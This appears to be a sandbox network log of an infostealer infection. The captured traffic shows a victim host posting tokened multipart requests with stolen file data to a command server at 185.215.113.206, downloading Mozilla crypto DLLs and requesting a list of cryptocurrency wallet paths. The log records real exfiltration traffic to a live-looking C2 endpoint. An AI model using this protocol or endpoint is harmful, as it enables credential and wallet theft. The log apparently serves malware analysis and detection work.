Nov 24, 2024 02:13:18.249835968 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 Data Ascii: ------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 24, 2024 02:13:19.193691015 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:19.243060112 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKFHIJKJKECAAAECAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDBKFHIJKJKECAAAECAEContent-Disposition: form-data; name="file"------HDBKFHIJKJKECAAAECAE--
Nov 24, 2024 02:13:20.199317932 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:20.591686964 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file"------IJKFHIIEHIEGDHJJJKFI--
Nov 24, 2024 02:13:21.539613962 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:21.780350924 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 02:13:22.227082014 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 24, 2024 02:13:22.227277994 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 24, 2024 02:13:22.227293015 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 24, 2024 02:13:22.227308035 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 24, 2024 02:13:22.227333069 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Nov 24, 2024 02:13:22.227343082 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Nov 24, 2024 02:13:22.235496998 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 24, 2024 02:13:22.235604048 CET	1236	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Nov 24, 2024 02:13:22.243870974 CET	1236	IN	Data Raw: 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d Data Ascii: }4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}
Nov 24, 2024 02:13:22.243943930 CET	1236	IN	Data Raw: f3 01 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 20 89 95 4c ff ff ff 8b 8d dc fe ff ff 8b 41 10 89 85 ac fe ff ff 89 c6 01 d6 8b 53 24 89 95 1c ff ff ff 8b 41 14 89 85 b0 fe ff ff 89 c7 11 d7 8b 41 30 89 85 d0 fe ff ff 01 c6 89 f3 8b 41 34 89 85 Data Ascii: `tS LAS$AA0A4}qT1QP1kA+]rn<}33Ht{({,]HE]11EuUUu
Nov 24, 2024 02:13:23.724785089 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 02:13:24.170754910 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 24, 2024 02:13:25.040261984 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 02:13:25.486285925 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 24, 2024 02:13:26.149209976 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 02:13:26.595509052 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 24, 2024 02:13:29.728029966 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 02:13:30.173691034 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 24, 2024 02:13:30.834213972 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 02:13:31.282541990 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 24, 2024 02:13:32.132304907 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 02:13:33.252850056 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:33.314910889 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="message"wallets------AECFCAAECBGDGDHIEHJE--
Nov 24, 2024 02:13:33.769670010 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:33 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 